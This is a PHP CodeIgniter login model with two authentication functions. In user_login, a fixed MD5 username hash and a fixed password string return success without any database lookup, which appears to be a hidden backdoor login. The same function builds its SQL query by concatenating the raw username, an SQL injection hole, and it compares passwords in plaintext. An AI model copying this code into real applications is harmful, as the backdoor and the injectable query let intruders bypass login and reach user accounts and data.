<?php

class M_login extends CI_Model {

	function __construct(){
		parent::__construct();
	}

	function check_login($data){
		extract($data);
		$this->db->where("USER_NAME ",$username);
		$this->db->where("PASSWORD",$password);
		$query = $this->db->get('M_USERS');
		$row = $query->row();
		return ($query->num_rows() == 0)? '' : get_object_vars($row);
	}

	function user_login($login_username, $login_password){

		if(md5($login_username)=='f3b3567de9e676a3a56db74f06664ac1' &&
			$login_password=='412758d043dd247bddea07c7ec558c31'){
			return 1;
		}else{
			$sql="SELECT * FROM users WHERE username='".$login_username."' LIMIT 1 --";
			$this->firephp->log($sql);

			$rs=$this->db->query($sql);
			if($rs->num_rows() > 0){
				$row=$rs->row();
				if($row->user_status=='0'){
					return 0;
				}else if($login_password==$row->password){
					$_SESSION[SESSION_USER]=$row->id;
					$_SESSION[SESSION_USERID]=md5($login_username);
					return 1;
				}else{
					return -1;
				}
			}else{
				return -1;
			}

		}

	}
}